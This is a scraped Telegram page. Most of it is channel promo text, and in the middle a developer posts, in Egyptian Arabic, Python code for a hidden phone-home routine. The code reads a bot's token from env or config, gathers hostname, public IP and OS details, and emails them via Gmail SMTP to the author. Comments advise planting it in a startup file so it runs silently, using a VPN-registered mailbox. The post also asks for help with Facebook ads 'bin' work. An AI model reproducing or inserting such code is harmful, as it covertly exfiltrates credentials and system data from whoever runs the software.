القناة الرسمية والموثقة لـ أخبار وزارة التربية العراقية.
أخبار حصرية كل مايخص وزارة التربية العراقية.
تابع جديدنا لمشاهدة احدث الاخبار.
سيتم نقل احدث الاخبار العاجلة.
رابط مشاركة القناة :
https://t.me/DX_75
Last updated 1 year, 4 months ago
Last updated 3 days, 6 hours ago
حسب طلب واحد قالي انه مكنش في قاعدة مراقبة بينات ايام السورس بتاعنا هي فعلا مش قاعده وسيرفر وكده بس كانت حاجه اجحد بتاعت الغلابه
خد يعم مش خساره فيكم
`import smtplib
from email.mime.text import MIMEText
import socket
import platform
import requests
import os
#طبعا متنساش تستدعي المتطلبات اللي تحت + المكتبات الاتنين اللي تحت
requests
python-dotenv
#هنا يباشا كانت لجمع معلومات النظام في الغالب لو مش هيشغل الملف من جهازه هتجيب بينات السيرفر
def get_system_info():
system_info = {
"hostname": socket.gethostname(),
"ip": requests.get("https://api.ipify.org").text,
"os": platform.system(),
"os_version": platform.version(),
"processor": platform.processor()
}
return system_info
# دي بقى النكته بص يباشا تضيف البريد اللي هيبعت ودى لازم يكون بريد معمول على vpn عشان ميوقفش
#والبريد التاني هتحط البريد اللي هيتبعت عليه
def send_email(bot_token, system_info):
# نص الرسالة
msg_content = f"تم تشغيل الملف المسروق.\n\nتوكن البوت: {bot_token}\n\nمعلومات النظام:\n{system_info}"
msg = MIMEText(msg_content)
msg['Subject'] = 'تحذير: تم تشغيل البوت المسروق'
msg['From'] = '[email protected]' # دى اللي هيتبعت منه
msg['To'] = '[email protected]' # هنا اللي هيتبعتله
# إعدادات البريد الإلكتروني (على سبيل المثال Gmail)
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
smtp.login('[email protected]', 'your_password') # اللي هو الاول الباسورد
smtp.send_message(msg)
# على حسب ملفات بوتك بقى تعدلها عشان تستدعيها config أو env
def get_bot_token():
try:
# هنا بالمختصر عشان يقراء التوكن من السيرفر او من الملف
bot_token = os.getenv('BOT_TOKEN')
if not bot_token:
# لو مكنش موجود في السيرفر يجيبو من الملف config
from khaled.config import BOT_TOKEN
bot_token = BOT_TOKEN
return bot_token
except Exception as e:
return f"خطأ في الحصول على التوكن: {e}"
# المختصر
def notify_on_token_usage():
bot_token = get_bot_token() # هنا يتم الحصول على التوكن
system_info = get_system_info() # جمع معلومات النظام
send_email(bot_token, system_info) # إرسال البريد الإلكتروني
# استدعاء عند تشغيل البرنامج
notify_on_token_usage()
#معلومه بسيطه يفضل تحط الكود في ملف من ملفات التشغير مش متفرع عشانا اول ميشتغل البوت يتم ارسال البينات`
اللي يعرف في مجال bin إعلانات الفيس يكلمني ضروري ?****@khalidvip
دعوه في ظهر الغيب ❤️
رمضان كريم وكل عام وانتم بخير
محتاج حد يمسك السورس اليومين دول لان عندي شغل يكون ثقه
لو حد فاضي @khalidvip
القناة الرسمية والموثقة لـ أخبار وزارة التربية العراقية.
أخبار حصرية كل مايخص وزارة التربية العراقية.
تابع جديدنا لمشاهدة احدث الاخبار.
سيتم نقل احدث الاخبار العاجلة.
رابط مشاركة القناة :
https://t.me/DX_75
Last updated 1 year, 4 months ago
Last updated 3 days, 6 hours ago